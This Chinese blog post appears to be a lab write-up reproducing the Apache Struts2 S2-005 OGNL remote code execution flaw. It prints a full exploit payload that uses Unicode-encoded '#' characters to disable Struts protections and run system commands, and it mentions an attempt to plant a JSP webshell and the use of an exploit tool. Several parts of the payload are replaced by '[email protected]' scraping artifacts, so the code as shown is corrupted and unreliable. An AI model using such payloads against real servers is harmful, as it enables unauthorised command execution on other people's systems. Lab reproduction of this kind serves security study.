墨者学院-Apache Struts2远程代码执行漏洞(S2-005)复现

漏洞编号:CVE-2010-1870
影响范围:Struts 2.0.0-2.1.8.1
漏洞概述:ognl表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制。
Poc:

('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\[email protected]@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023_memberAccess.allowStaticMethodAccess\u003dtrue')(bla)(bla)&('\u0023mycmd\u003d\'ipconfig\'')(bla)(bla)&('\u0023myret\[email protected]@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\[email protected]@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

访问http://ip/xxx.action?[poc]可执行命令并回显结果,我在执行命令的时候不能回显,报400错误。在网上查阅资料有人提出该poc在ApacheTomcat 8.5无法回显,会报400错误,在ApacheTomcat7.0.56版本则显示正常。

于是我又试着用poc使用echo命令写入jsp webshell,结果失败了。

弄了很久都没有解决办法,只好借助工具了,使用k8_struts2_exp检测并利用漏洞,获得key

你可能感兴趣的:(墨者学院-Apache Struts2远程代码执行漏洞(S2-005)复现)